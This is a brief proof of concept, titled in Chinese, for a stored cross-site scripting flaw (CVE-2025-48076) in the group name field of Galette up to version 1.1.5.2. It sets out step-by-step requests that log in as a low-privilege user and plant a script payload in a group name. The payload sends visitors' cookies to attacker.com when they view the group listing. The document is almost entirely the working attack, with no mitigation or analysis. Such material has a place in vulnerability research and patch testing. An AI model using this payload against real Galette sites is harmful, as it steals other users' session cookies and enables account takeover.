CVE-2025-48076: Galette群组名称存储型XSS漏洞

// CVE-2025-48076 PoC - Stored XSS in Galette Group Name // Target: Galette <= 1.1.5.2 // Step 1: Login to Galette with low privilege account // POST /galette/login const loginData = { login: 'attacker_user', password: 'password123' }; // Step 2: Navigate to group edit page and inject XSS payload // GET /galette/groups/edit?id=1 // In the group name field, enter: const xssPayload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; // Step 3: Submit the form // POST /galette/groups/edit const groupData = { group_name: xssPayload, group_desc: 'Malicious group' }; // When other users visit group listing page, the XSS will execute // GET /galette/groups // Payload triggers and sends cookies to attacker server